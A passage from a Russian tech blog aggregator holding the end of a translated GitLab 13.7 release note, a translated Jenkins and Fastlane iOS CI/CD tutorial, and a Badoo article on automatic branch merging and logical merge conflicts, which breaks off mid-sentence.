Документация по кластерам и оригинальный тикет.


Geo поддерживает репликацию сниппетов


(PREMIUM, ULTIMATE) Доступность


Geo теперь поддерживает репликацию сниппетов под контролем версий на вторичные ноды, что позволит распределённым командам получать доступ к ним с ближайшей ноды Geo, что снижает задержку и делает весь процесс удобнее. Кроме того, эти данные могут быть восстановлены со вторичной ноды при переключении на неё в случае сбоя.


В данный момент мы не поддерживаем верификацию для этого типа данных, но мы планируем добавить её в будущем.


Документация по репликации Geo и оригинальный эпик.


Поддержка зашифрованных учётных данных LDAP


(CORE, STARTER, PREMIUM, ULTIMATE) Доступность


GitLab использует единый файл конфигурации, например gitlab.rb в Omnibus GitLab, что упрощает настройку всех связанных сервисов. В этот файл конфигурации включены некоторые секретные ключи, например учётные данные для аутентификации на сервере LDAP. Хотя для доступа к этому файлу требуются специальные права, хорошей практикой считается отделять секретные ключи от конфигурации.


Установки Omnibus GitLab и Source теперь поддерживают зашифрованные учётные данные, причём первыми поддерживаемыми учётными данными стали LDAP. Это снижает уязвимость конфигурационного файла GitLab, а также помогает достичь соответствия требованиям заказчика.


Документация по настройке зашифрованных учётных данных LDAP и оригинальный тикет.


Веб-хуки при добавлении новых участников группы


(STARTER, PREMIUM, ULTIMATE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Manage


Теперь в GitLab стало проще автоматизировать управление пользователями: это можно сделать с помощью веб-хука, который запускается при добавлении нового участника в группу. Раньше вам приходилось выполнять запросы REST для идентификации новых членов группы, что ухудшало производительность вашего инстанса GitLab.


Документация по веб-хукам и оригинальный тикет.


Улучшенная фильтрация и сортировка списков участников группы


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Manage


Мы продолжили улучшать наш список участников группы и добавили для него новые возможности фильтрации и сортировки. Это поможет администраторам группы быстро находить нужную им информацию. Например, сортировку по последнему времени входа (Last sign-in) можно использовать для поиска пользователей, которые в последнее время не заходили на GitLab, и для помощи в управлении лицензиями.


Improved group members list filtering and sorting


Документация по фильтрации и сортировке участников группы и оригинальный тикет.


Автоматическая подготовка профиля пользователя с SAML


(SILVER, GOLD) Стадия цикла DevOps: Manage


Раньше в качестве одной из частей включения в группу с SAML пользователям нужно было заполнять форму регистрации. В GitLab 13.7 мы представляем синхронизацию пользователей для групп с использованием SAML. Когда пользователь в первый раз входит в группу с SAML, учётная запись пользователя создаётся для него автоматически, если нет существующего пользователя с таким же адресом электронной почты. Автоматическая подготовка с SAML улучшает процесс адаптации новых пользователей и гарантирует, что вновь созданные учётные записи содержат правильную информацию.


Документация по настройке групп с SAML и оригинальный тикет.


Настраиваемый адрес электронной почты для службы поддержки


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Plan


Раньше вашим пользователям было трудно запомнить (а следовательно, и использовать) адрес электронной почты службы поддержки GitLab. С введением настраиваемого адреса электронной почты теперь можно выбрать суффикс адреса, который имеет смысл для вашей компании и который будет легче запомнить вашим пользователям. Это ещё один шаг, который нужен для того, чтобы вы могли предоставлять своим пользователям качественную поддержку.


Документация по настройке адреса электронной почты для службы поддержки и оригинальный тикет.


Различайте изменения форматирования и правки, сделанные из редактора статических сайтов


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Create


Редактор статических сайтов предлагает интуитивно понятный и знакомый всем режим редактирования WYSIWYG для контента Markdown. Чтобы обеспечить единообразный формат вывода Markdown, редактор WYSIWYG автоматически переформатирует содержимое страницы в соответствии с соглашениями о стилях, определёнными в парсере Markdown. Это происходит полностью в фоновом режиме ещё до того, как вы начнёте редактировать. Однако эти изменения форматирования коммитятся вместе с вашими изменениями содержимого. Если страница, которую вы редактируете, не следовала тем же соглашениям о стилях, для проверяющих итогового мерж-реквеста может быть сложно отличить ваши изменения от автоматического форматирования.


Начиная с GitLab 13.7 редактор статических сайтов автоматически исправляет несоответствия в синтаксисе Markdown и коммитит все необходимые изменения форматирования в новой ветке. По завершении редактирования кнопка Опубликовать создаёт отдельный коммит, содержащий только ваши изменения. Это может сэкономить время проверяющим изменения, которые вместо того, чтобы продираться через изменения синтаксиса, смогут сосредоточиться на вашем контенте.


В будущем мы планируем сделать параметры форматирования настраиваемыми, так что следите за новостями в соответствующем тикете.


Документация по редактору статических сайтов и оригинальный тикет.


Предзаполненные переменные при ручном запуске конвейеров


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Verify


Раньше, когда вы хотели запустить конвейер вручную, вам нужно было узнать нужные переменные, а затем ввести их на странице Запуск конвейера (Run Pipeline). Это может быть утомительно и чревато ошибками, если нужно ввести множество пар ключ-значение. Теперь форма для запуска конвейера будет сгенерирована для вашего конвейера с переменными, предварительно заполненными на основе определений переменных в вашем файле .gitlab-ci.yml, что сделает этот процесс более эффективным.


Pre-filled variables when running pipelines manually


Документация по ручному запуску конвейера и оригинальный тикет.


Собранные с помощью CI/CD пакеты всегда отображают информацию о сборке


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Package


Если вы публиковали пакеты в реестре пакетов, то могли заметить, что пакеты, созданные с помощью GitLab CI/CD, не всегда отображали коммит и конвейер, ответственные за создание или обновление вашего пакета. Это могло происходить по нескольким причинам.


Во-первых, возможно, мы ещё не поддерживали эту функцию, как в случае с Composer и Conan. Во-вторых, проблема возникала у тех из вас, кто обновлял одну и ту же версию пакета из разных веток или коммитов. Однако до недавнего времени пользовательский интерфейс отображал только первое развёртывание без каких-либо обновлений. Кроме того, на странице подробных сведений отображается ветка, в которой был создан пакет, а не самый последний коммит. В результате вам приходилось искать эту информацию, просматривая историю коммитов, что было не очень эффективно.


В дальнейшем любой пакет, собранный или обновлённый с помощью GitLab CI/CD, будет отображать информацию о коммите и конвейере в пользовательском интерфейсе пакетов. Чтобы избежать проблем с производительностью или пользовательским интерфейсом, будут отображаться только пять обновлений пакета. В майлстоуне 13.8 мы создадим дизайн, который поможет вам легко просматривать все данные, включая историю. А пока вы можете использовать API пакетов, чтобы смотреть всю историю сборки данного пакета.


Packages built with CI/CD always display build info


Документация по реестру пакетов и сборке пакетов с помощью GitLab CI/CD и оригинальный тикет.


Используйте предопределённые переменные с прокси зависимостей


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Package


С помощью проксирования и кэширования образов контейнеров из Docker Hub прокси зависимостей помогает вам повысить производительность ваших конвейеров. Несмотря на то, что прокси-сервер предназначен для интенсивного использования с CI/CD, для использования этой фичи вам нужно было определить свои собственные переменные или прописать значения в вашем файле gitlab.ci-yml. Это затрудняло начало работы для тех, кто работает один, и не позволяло использовать его в качестве масштабируемого решения, особенно для организаций с множеством различных групп и проектов.


В дальнейшем вы можете использовать предопределённые переменные окружения в качестве интуитивно понятного способа для прокси зависимостей. Поддерживаются следующие переменные:


  • CI_DEPENDENCY_PROXY_USER: пользователь CI для входа в прокси зависимостей,
  • CI_DEPENDENCY_PROXY_PASSWORD: пароль для входа в прокси зависимостей,
  • CI_DEPENDENCY_PROXY_SERVER: сервер для входа в прокси зависимостей,
  • CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX: префикс образа для извлечения образов через прокси зависимостей.

Попробуйте и дайте нам знать, что вы думаете!


Документация по аутентификации в прокси зависимостей с помощью CI/CD и оригинальный тикет.


Результаты сканирований безопасности в виджете мерж-реквеста стали удобнее


(CORE, STARTER, PREMIUM, FREE, BRONZE, SILVER) Стадия цикла DevOps: Secure


С помощью SAST и поиска секретных ключей, которые теперь доступны для всех пользователей, мы упростили жизнь всем пользователям GitLab, взаимодействующим с результатами сканирования безопасности в мерж-реквесте, за счёт облегчения доступа к результатам сканирования безопасности. Ранее результаты сканирования безопасности были доступны только на странице Обзор конвейера, и вы должны были знать, где искать, чтобы найти их там. Теперь все мерж-реквесты будут показывать, были ли для них запущены проверки безопасности, и помогут вам найти артефакты задания. Это изменение не затрагивает работу с мерж-реквестами для пользователей плана Ultimate.


Improved MR experience for security scans


Документация по просмотру результатов сканирования безопасности в мерж-реквесте и оригинальный эпик.


Специальные ссылки на уязвимости


(ULTIMATE, GOLD) Стадия цикла DevOps: Secure


Мы ввели уязвимости как полноценные объекты в 12.10. Будучи объектом, каждая из них имеет уникальный URL-адрес, позволяющий напрямую перейти к деталям любой уязвимости. Несмотря на значительное улучшение видимости и согласованности, ссылки на уязвимости в тикетах и эпиках (в русской локализации GitLab цели) всё равно нужно копировать вручную в виде ссылок Markdown. Это делает неэффективным совместное использование, а ссылки на уязвимости в других областях GitLab более громоздкими, чем для других объектов, например тикетов.


Теперь на уязвимости можно ссылаться с помощью специальных ссылок. На них впервые будет опробован новый синтаксис [object_type:ID], который в конечном итоге распространится на другие существующие ссылки. Теперь вы можете быстро вставить ссылку на уязвимость из любого места, где обычно используется специальная ссылка, например из описания тикета или мерж-реквеста. Просто введите [vulnerability:123] в описании тикета, чтобы вставить ссылку на уязвимость с идентификатором 123 в том же проекте. Вы также можете добавить к идентификатору префикс пространства имён или проекта, чтобы ссылаться на уязвимости вне контекста текущего проекта.


Документация по специальным ссылкам и оригинальный тикет.


Смотрите, какие коммиты и конвейеры выполняются в форке, а какие в родительском проекте


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Release


После того, как мы решили проблему, описанную в тикете 217451 в GitLab 13.3, вы получили возможность разрешать разработчикам родительского проекта создавать конвейеры для мерж-реквестов в форках. Однако не было никакого способа узнать контекст, в котором был запущен конвейер.


В этом релизе вы сможете увидеть, какие коммиты и конвейеры выполнялись в проекте-форке, а какие в родительском проекте. Коммиты в форках отмечены уникальным значком и тултипом, что позволяет вам узнать, что они выполнялись из мерж-реквеста в форке. Это упрощает понимание контекста, в котором работал ваш конвейер, и устраняет необходимость более детально изучать источник.


See which commits and pipelines run in the fork project vs. the parent project


Документация по запуску конвейеров в родительском проекте для мерж-реквестов из проекта-форка и оригинальный тикет.


Запросы к базе данных выполняются быстрее при использовании балансировщика нагрузки


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Доступность


Многие запросы к базе данных повторяются несколько раз, так что их можно кэшировать для повышения общей производительности. Для GitLab можно кэшировать примерно 10% всех запросов. В GitLab 13.7 мы включили кэширование запросов к базе данных, когда используется балансировка нагрузки базы данных. На GitLab.com это приводит к кэшированию ~700 000 запросов каждую минуту и сокращает среднее время выполнения запросов вплоть до 10%.


Для запросов, которые выполняются более 100 раз, мы уменьшили продолжительность запроса на 11-31% и кэшировали ~30% всех операторов SELECT, которые бы в противном случае выполнялись на реплике базы данных.


Документация по балансировке нагрузки на базу данных и оригинальный тикет.


Для новых установок по умолчанию используется PostgreSQL 12


(CORE, STARTER, PREMIUM, ULTIMATE) Доступность


Начиная с GitLab 13.3 PostgreSQL 12 был доступен в качестве опции как для пакетов Omnibus, так и для нашего Helm chart. PostgreSQL 12 улучшает производительность, а также предлагает значительные преимущества при индексировании и секционировании.


Начиная с GitLab 13.7 новые установки GitLab будут по умолчанию использовать PostgreSQL 12. Чтобы выполнить обновление вручную, запустите gitlab-ctl pg-upgrade.


Многонодовые инстансы базы данных должны будут переключиться с repmgr на Patroni до обновления с помощью Patroni. Затем можно обновить и повторно синхронизировать вторичные ноды Geo.


Документация по настройкам баз данных в GitLab 13.3 и более поздних версиях и оригинальный тикет.




Полный текст релиза и инструкции по обновлению/установке вы можете найти в оригинальном англоязычном посте: GitLab 13.7 released with merge request reviewers and automatic rollback upon failure.


Над переводом с английского работали cattidourden, maryartkey, ainoneko и rishavant.

Подробнее..

Перевод Интеграция CICD для нескольких сред с Jenkins и Fastlane. Часть 1

04.11.2020 02:21:17 | Автор: admin

В преддверии старта курса "iOS Developer. Basic" традиционно подготовили для вас интересный перевод, а также приглашаем записаться на бесплатный вебинар, в рамках которого наши эксперты подробно расскажут о программе курса, а также ответят на интересующие вас вопросы.


Внедрение технологий непрерывной интеграции (Continuous Integration - CI) и непрерывного развертывания (Continuous Delivery - CD) в процесс разработки - бесспорно единственный способ отслеживать актуальность изменений кода и определять ошибки интеграции на самых ранних этапах. Это также еще и путь к отлаженным билдам, практически сразу же доступным для тестирования и готовым к отправке в продакшн даже после значительных изменений кода.

Интегрируя CI/CD в свою повседневную работу, разработчики могут достичь двух важных целей: во-первых, возможность запускать наборы тестов на сервере, который не является рабочим компьютером, чтобы инженер мог продолжать разрабатывать новый функционал без отвлекающих факторов и, во-вторых, возможность отправлять билды своему заказчику или инженеру по обеспечению качества, чтобы продемонстрировать/протестировать/проанализировать новую фичу, даже если они не могут собрать и запустить проект на своих собственных компьютерах.

Но что происходит, когда у нас есть несколько промежуточных сред, и тесты должны выполняться на разных серверах или функции должны тестироваться в разных средах? Вот где на помощь приходят Jenkins и Fastlane - инструменты, которые позволяют автоматизировать процесс под различные конфигурации, и именно на этом фокусируется данная статья.

Существует множество отличных статей и руководств, в которых подробно описывается, как использовать Jenkins и Fastlane для настройки CI для мобильного проекта. Однако я хочу сосредоточиться на том, как мы можем настроить соответствующие скрипты для работы с несколькими средами.

Jenkins и Fastlane

Чтобы понять, как мы можем интегрировать CI в проект, мы должны понимать, как Jenkins и Fastlane работают. Вкратце, Jenkins - это сервер непрерывной интеграции с открытым исходным кодом, написанным на Java, и это один из наиболее широко используемых инструментов для управления сборками непрерывной интеграции. Jenkins предоставляет возможность создавать пайплайны (Pipelines), которые по сути являются жизненными циклами процессов, называемых задачами (Jobs), которые включают сборку, документирование, тестирование, упаковку, стейджинг, развертывание, статический анализ и многое другое. Задачи связаны друг с другом в последовательности, образующей конвейер (пайплайн), и именно здесь в игру вступает Fastlane.

Fastlane - это инструмент с открытым исходным кодом, который используется для автоматизации процесса развертывания и распространения мобильных проектов (iOS и Android), предлагающий широкий спектр функций автоматизации в рамках жизненного цикла мобильного приложения, таких как упаковка, подписание кода, распространение сборок и многое другое. Fastlane позволяет создавать задачи, именуемые Lanes, которые по сути представляют из себя скрипты, то есть серию команд, называемых Actions, которые описывают рабочий процесс, который мы хотим автоматизировать.

Наша цель

Итак, то, чего мы здесь хотим достичь, - это автоматизировать процесс распространения нашего iOS-приложения путем автоматизации загрузки нашего приложения в Testflight, откуда заинтересованные лица (заказчик, инженер по обеспечению качества, продавец, который хочет продемонстрировать приложение, и в том же духе) могут войти в систему и загрузить его без особых усилий. Более того, мы хотим продвинуться на один шаг дальше и реализовать возможность автоматически загружать билды в Testflight по одному нажатию кнопки:

a) для разных веток под разные фичи

b) для нескольких конфигураций, соответствующих разным средам

Такова будет наша конечная цель ?.

Предварительные требования

В этой статье мы считаем, что Jenkins и Fastlane уже были установлены и настроены. Существует множество руководств, в которых подробно описывается, как нужно выполнять настройку. Кроме того, для Jenkins потребуется установить некоторые плагины, чтобы позволить Jenkins запускаться из веб-хуков Github и запускать задание. Это плагины Github, Xcode, SCM (Source Control Management), которые будут использоваться для того, чтобы сделать чекаут нашего проекта с Github, и Credentials Plugin для того, чтобы связать учетные данные для переменных окружения.

Начнем

Для начала нам нужно создать новый пайплайн в Jenkins. Этот пайплайн будет описан созданным нами скриптом, который выполняет загрузку нашего приложения в Testflight.

В главном меню панели инструментов Jenkins (ниже) мы выбираем первый вариант => New Item (Pipeline) и создаем задачу (Job) Jenkins с именем Upload to Testflight.

Далее выбираем параметр Configure в левом меню и продолжаем, добавляя конфигурацию только что созданного пайплайна. Начнем с добавления небольшого описания.

В поле Definition ниже, в разделе Pipeline выбираем параметр Pipeline Script from SCM. Этот параметр указывает Дженкинсу получить пайплайн из системы управления исходным кодом (SCM), в роли которой будет наш клонированный Git-репозиторий.

Мы добавляем параметр - ветку, которую мы хотим каждый раз билдить и загружать в Testflight, а также добавляем ссылку на репозиторий github, предоставляя также параметры учетных данных github.

Наконец, мы определяем скрипт, который будет описывать весь процесс пайплайна.

Нажимаем кнопку Save и вуаля! Нам удалось создать собственную задачу в Jenkins. Теперь мы готовы приступить к написанию нашего скрипта!

В основном мы будем использовать подход Scripted Pipeline. Наш скрипт будет состоять из нескольких этапов, называемых стадиями (stages), которые описывают, что собирается делать наш пайплайн. В конечном итоге мы хотим закончить загрузкой в Testflight, но перед загрузкой мы хотим убедиться, что наши модульные тесты проходятся успешно. Таким образом, различные фазы скрипта автоматизации должны включать следующие стадии:

  1. Чекаут репозитория

  2. Установка зависимостей

  3. Сброс симуляторов

  4. Запуск тестов

  5. Сборка билда

  6. Загрузка в Testflight

  7. Очистка

После того, как мы написали наш скрипт, нам нужно выбрать опцию Build with Parameters из меню пайплайна, который мы только что создали, и указать ветку, которую мы хотим собрать:

После того, как мы нажмем кнопку Build, и конвейер будет успешно запущен, мы увидим следующее в Jenkins Stage view:

что будет означать, что мы успешно загрузили наше приложение в Testflight!

Сбой на одном из этих этапов будет автоматически означать, что вся работа завершится ошибкой, и мы увидим соответствующий этап, подсвеченный красным цветом. В этом случае мы можем перейти в Console Output в меню задачи, просмотреть логи и определить причину сбоя и, конечно, повторно запустить задачу после устранения проблемы.

Скрипт

В нашем скрипте, который мы назвали MyScript.groovy, мы определим функцию называемую deploy(), внутри которой мы намерены реализовать вышеперечисленные стадии следующим образом:

1. Чекаут репозитория

Мы делаем чекаут нашего репозитория с помощью команды checkout плагина SCM, которая будет запускать проверку проекта с использованием параметров конфигурации, которые мы указали в Jenkins Pipeline.

stage('Checkout') {checkout scm}

2. Установки зависимостей

stage('Install dependencies') {sh 'gem install bundler'sh 'bundle update'sh 'bundle exec pod repo update'sh 'bundle exec pod install'}

Наш проект использует в качестве менеджера зависимостей CocoaPods, поэтому нам нужно запустить pod install, чтобы загрузить зависимости проекта. Для выполнения этой команды и всех других шелл-команд мы используем Bundler, который представляет собой инструмент для управления гемом приложения Ruby. Выполнив первые 2 команды, нам удается установить Bundler, а затем Bundler загружает все гемы, указанные в Gemfile проекта. Это стадия, на которой мы можем указать набор инструментов, которые могут понадобиться нашему приложению, например Fastlane, который мы будем использовать следующим, или, если нам нужен линтер или Danger, это место как раз для определения их ruby гемов. Мы продолжаем дальше и запускаем pod repo update, чтобы всегда иметь последние версии pod'а, и, наконец, мы запускаем pod update, чтобы загрузить зависимости проекта.

3. Сброс симуляторов

stage('Reset Simulators') {sh 'bundle exec fastlane snapshot resetsimulators --force'}

Этот шаг не обязателен, но необходим, если мы хотим запускать модульные тесты на следующей стадии, не беспокоясь о потенциально устаревшем состоянии симулятора, которое может привести к сбою при модульном тестировании.

Это первый раз, когда Fastlane появляется в кадре. Как я упоминал ранее, Fastlane использует Lanes и уже имеет большое количество заготовленных лейнов, но мы можем создавать и свои собственные настраиваемые лейны внутри файла под именем Fastfile. Здесь мы используем заготовленный лейн, который делает именно то, что нам нужно.

Команда выше удалит и пересоздаст все iOS-симуляторы, что можно счесть чрезмерным, но иногда отчаянные времена требуют отчаянных мер .

4. Запуск тестов

stage('Run Tests') {sh 'bundle exec fastlane test'}

На этом этапе мы запускаем модульные тесты для нашего проекта. Теперь test представляет собой кастомный лейн, который мы реализовали внутри нашего Fastfile, и имеет следующую реализацию:

lane :test doscan(clean: true,devices: ["iPhone X"],workspace: "ourproject.xcworkspace",scheme: "productionscheme",codecoverage: true,outputdirectory: "./testoutput",outputtypes: "html,junit")slather(coberturaxml: true,proj: "ourproject.xcodeproj",workspace: "ourproject.xcworkspace",outputdirectory: "./testoutput",scheme: "productionscheme",jenkins: true,ignore: [arrayofdocstoignore])end

Здесь мы используем два основных экшена Fastlane: scan и slather.

Scan используется для фактического запуска модульных тестов и может быть настроен с несколькими параметрами, такими как workspace (рабочее пространство), scheme (схема), codecoverage (покрытие кода) и, что наиболее важно, devices (устройства), где можем указать симулятор, в котором мы хотим запускать наши модульные тесты.

Slather используется для сбора покрытия кода при выполнении модульных тестов, а также принимает несколько аргументов, таких как результирующий каталог для отчета о покрытии, а также массив документов, которые следует игнорировать при сборе покрытия кода (ignore).

Здесь и происходит Fastlane-магия . Определяя этот лейн всего двумя экшенами, нам удается легко запускать наши модульные тесты внутри Jenkins. Обратите внимание, что все они, очевидно, должны быть успешно пройдены, иначе эта стадия и вся задача закончатся неудачей.


На этом мы завершаем первую часть перевода, но уже в ближайшие дни опубликуем продолжение материала.

А если вас заинтересовал курс, предлагаем записаться на бесплатный вебинар по ссылке.

Подробнее..

Ваш безлимит как увеличить пропускную способность автомерджа

21.06.2021 14:12:41 | Автор: admin

Отыщи всему начало, и ты многое поймёшь (Козьма Прутков).

Меня зовут Руслан, я релиз-инженер в Badoo и Bumble. Недавно я столкнулся с необходимостью оптимизировать механизм автомерджа в мобильных проектах. Задача оказалась интересной, поэтому я решил поделиться её решением с вами. В статье я расскажу, как у нас раньше было реализовано автоматическое слияние веток Git и как потом мы увеличили пропускную способность автомерджа и сохранили надёжность процессов на прежнем высоком уровне.

Свой автомердж

Многие программисты ежедневно запускают git merge, разрешают конфликты и проверяют свои действия тестами. Кто-то автоматизирует сборки, чтобы они запускались автоматически на отдельном сервере. Но решать, какие ветки сливать, всё равно приходится человеку. Кто-то идёт дальше и добавляет автоматическое слияние изменений, получая систему непрерывной интеграции (Continuous Integration, или CI).

Например, GitHub предлагает полуручной режим, при котором пользователь с правом делать записи в репозиторий может поставить флажок Allow auto-merge (Разрешить автомердж). При соблюдении условий, заданных в настройках, ветка будет соединена с целевой веткой. Bitbucket поддерживает большую степень автоматизации, накладывая при этом существенные ограничения на модель ветвления, имена веток и на количество мерджей.

Такой автоматизации может быть достаточно для небольших проектов. Но с увеличением количества разработчиков и веток, ограничения, накладываемые сервисами, могут существенно повлиять на производительность CI. Например, раньше у нас была система мерджа, при которой основная ветка всегда находилась в стабильном состоянии благодаря последовательной стратегии слияний. Обязательным условием слияния была успешная сборка при наличии всех коммитов основной ветки в ветке разработчика. Работает эта стратегия надёжно, но у неё есть предел, определяемый временем сборки. И этого предела оказалось недостаточно. При времени сборки в 30 минут на обработку 100 слияний в день потребовалось бы более двух суток. Чтобы исключить ограничения подобного рода и получить максимальную свободу выбора стратегий мерджа и моделей ветвления, мы создали собственный автомердж.

Итак, у нас есть свой автомердж, который мы адаптируем под нужды каждой команды. Давайте рассмотрим реализацию одной из наиболее интересных схем, которую используют наши команды Android и iOS.

Термины

Main. Так я буду ссылаться на основную ветку репозитория Git. И коротко, и безопасно. =)

Сборка. Под этим будем иметь в виду сборку в TeamCity, ассоциированную с веткой Git и тикетом в трекере Jira. В ней выполняются как минимум статический анализ, компиляция и тестирование. Удачная сборка на последней ревизии ветки в сочетании со статусом тикета To Merge это однo из необходимых условий автомерджа.

Пример модели ветвления

Испробовав разные модели ветвления в мобильных проектах, мы пришли к следующему упрощённому варианту:

На основе ветки main разработчик создаёт ветку с названием, включающим идентификатор тикета в трекере, например PRJ-k. По завершении работы над тикетом разработчик переводит его в статус Resolved. При помощи хуков, встроенных в трекер, мы запускаем для ветки тикета сборку. В определённый момент, когда изменения прошли ревью и необходимые проверки автотестами на разных уровнях, тикет получает статус To Merge, его забирает автоматика и отправляет в main.

Раз в неделю на основе main мы создаём ветку релиза release_x.y.z, запускаем на ней финальные сборки, при необходимости исправляем ошибки и наконец выкладываем результат сборки релиза в App Store или Google Play. Все фазы веток отражаются в статусах и дополнительных полях тикетов Jira. В общении с Jira помогает наш клиент REST API.

Такая простая модель не только позволила нам построить надёжный автомердж, но и оказалась удобной для всех участников процесса. Однако сама реализация автомерджа менялась несколько раз, прежде чем мы добились высокой производительности и минимизировали количество побочных эффектов: конфликтов, переоткрытий тикетов и ненужных пересборок.

Первая версия: жадная стратегия

Сначала мы шли от простого и очевидного. Брали все тикеты, находящиеся в статусе To Merge, выбирали из них те, для которых есть успешные сборки, и отправляли их в main командой git merge, по одной.

Примечание: я немного упростил описание первой версии. В реальности между main и ветками разработчиков была ветка dev, где и происходили все проблемы, описанные выше. Перед слиянием main с dev мы добивались стабилизации сборок при помощи специальных веток интеграции, создававшихся автоматически на основе dev с периодом в сутки.

Наличие в TeamCity актуальной успешной сборки мы проверяли при помощи метода REST API getAllBuilds примерно следующим образом (псевдокод):

haveFailed = False # Есть ли неудачные сборкиhaveActive = False # Есть ли активные сборки# Получаем сборки типа buildType для коммита commit ветки branchbuilds = teamCity.getAllBuilds(buildType, branch, commit)# Проверяем каждую сборкуfor build in builds:  # Проверяем каждую ревизию в сборке  for revision in build.revisions:    if revision.branch is branch and revision.commit is commit:      # Сборка актуальна      if build.isSuccessful:        # Сборка актуальна и успешна        return True      else if build.isRunning or build.isQueued        haveActive = True      else if build.isFailed:        haveFailed = Trueif haveFailed:  # Исключаем тикет из очереди, переоткрывая его  ticket = Jira.getTicket(branch.ticketKey)  ticket.reopen("Build Failed")  return Falseif not haveActiveBuilds:  # Нет ни активных, ни упавших, ни удачных сборок. Запускаем новую  TriggerBuild(buildType, branch)

Ревизии это коммиты, на основе которых TeamCity выполняет сборку. Они отображаются в виде 16-ричных последовательностей на вкладке Changes (Изменения) страницы сборки в веб-интерфейсе TeamCity. Благодаря ревизиям мы можем легко определить, требуется ли пересборка ветки тикета или тикет готов к слиянию.

Важно, что ревизию можно (а часто даже необходимо) указывать в запросе на добавление новой сборки в очередь в параметре lastChanges, потому что в противном случае TeamCity может выбрать устаревшую ревизию ветки при запуске сборки. Как будет показано ниже, указывать ревизию необходимо в тех случаях, если, например, логика вне TeamCity основана на поиске сборок на конкретных коммитах (наш случай).

Так как после перевода тикета в статус готовности (в нашем примере Resolved) соответствующая ветка, как правило, не меняется, то и сборка, ассоциированная с тикетом, чаще всего остаётся актуальной. Кроме того, сам факт нахождения тикета в статусе To Merge говорит о высокой вероятности того, что сборка не упала. Ведь при падении сборки мы сразу переоткрываем тикет.

На первый взгляд, дальнейшие действия кажутся очевидными: взять все готовые тикеты с актуальными сборками и соединять main с ними по одному. В первой версии автомерджа мы так и сделали.

Всё работало быстро, но требовало внимания. То и дело возникали ситуации, когда изменения нескольких тикетов конфликтовали между собой. Конфликты при слияниях как явление достаточно распространённое поначалу ни у кого особых вопросов не вызывали. Их разрешали разработчики, дежурные по релизу. Но с увеличением количества разработчиков, задач и, соответственно, веток, приведение релиза в порядок требовало всё больше усилий. Задержки в разрешении конфликтов начали сказываться на новых задачах. Полагаю, не стоит продолжать эту цепочку скорее всего, вы уже поняли, что я имею в виду. С конфликтами нужно было что-то делать, причём не допуская их попадания в релиз.

Конфликты слияния

Если изменить одну и ту же строку кода в разных ветках и попытаться соединить их в main, то Git попросит разрешить конфликты слияния. Из двух вариантов нужно выбрать один и закоммитить изменения.

Это должно быть знакомо практически каждому пользователю системы контроля версий (VCS). Процессу CI, так же, как и любому пользователю VCS, нужно разрешать конфликты. Правда, делать это приходится немного вслепую, в условиях почти полного непонимания кодовой базы.

Если команда git merge завершилась с ошибкой и для всех файлов в списке git ls-files --unmerged заданы обработчики конфликтов, то для каждого такого файла мы выполняем парсинг содержимого по маркерам конфликтов <<<<<<<, ======= и >>>>>>>. Если конфликты вызваны только изменением версии приложения, то, например, выбираем последнюю версию между локальной и удалённой частями конфликта.

Конфликт слияния это один из простейших типов конфликтов в CI. При конфликте с main CI обязан уведомить разработчика о проблеме, а также исключить ветку из следующих циклов автомерджа до тех пор, пока в ней не появятся новые коммиты.

Решение следующее: нарушаем как минимум одно из необходимых условий слияния. Так как ветка ассоциирована с тикетом трекера, можно переоткрыть тикет, изменив его статус. Таким образом мы одновременно исключим тикет из автомерджа и оповестим об этом разработчика (ведь он подписан на изменения в тикете). На всякий случай мы отправляем ещё и сообщение в мессенджере.

Логические конфликты

А может ли случиться так, что, несмотря на успешность сборок пары веток в отдельности, после слияния их с main сборка на основной ветке упадёт? Практика показывает, что может. Например, если сумма a и b в каждой из двух веток не превышает 5, то это не гарантирует того, что совокупные изменения a и b в этих ветках не приведут к большей сумме.

Попробуем воспроизвести это на примере Bash-скрипта test.sh:

#!/bin/bashget_a() {    printf '%d\n' 1}get_b() {    printf '%d\n' 2}check_limit() {    local -i value="$1"    local -i limit="$2"    if (( value > limit )); then        printf >&2 '%d > %d%s\n' "$value" "$limit"        exit 1    fi}limit=5a=$(get_a)b=$(get_b)sum=$(( a + b ))check_limit "$a" "$limit"check_limit "$b" "$limit"check_limit "$sum" "$limit"printf 'OK\n'

Закоммитим его и создадим пару веток: a и b.
Пусть в первой ветке функция get_a() вернёт 3, а во второй get_b() вернёт 4:

diff --git a/test.sh b/test.shindex f118d07..39d3b53 100644--- a/test.sh+++ b/test.sh@@ -1,7 +1,7 @@ #!/bin/bash get_a() {-    printf '%d\n' 1+    printf '%d\n' 3 } get_b() {git diff main bdiff --git a/test.sh b/test.shindex f118d07..0bd80bb 100644--- a/test.sh+++ b/test.sh@@ -5,7 +5,7 @@ get_a() { }  get_b() {-    printf '%d\n' 2+    printf '%d\n' 4 }  check_limit() {

В обоих случаях сумма не превышает 5 и наш тест проходит успешно:

git checkout a && bash test.shSwitched to branch 'a'OKgit checkout b && bash test.shSwitched to branch 'b'OK

Но после слияния main с ветками тесты перестают проходить, несмотря на отсутствие явных конфликтов:

git merge a bFast-forwarding to: aTrying simple merge with bSimple merge did not work, trying automatic merge.Auto-merging test.shMerge made by the 'octopus' strategy. test.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)bash test.sh7 > 5

Было бы проще, если бы вместо get_a() и get_b() использовались присваивания: a=1; b=2, заметит внимательный читатель и будет прав. Да, так было бы проще. Но, вероятно, именно поэтому встроенный алгоритм автомерджа Git успешно обнаружил бы конфликтную ситуацию (что не позволило бы продемонстрировать проблему логического конфликта):

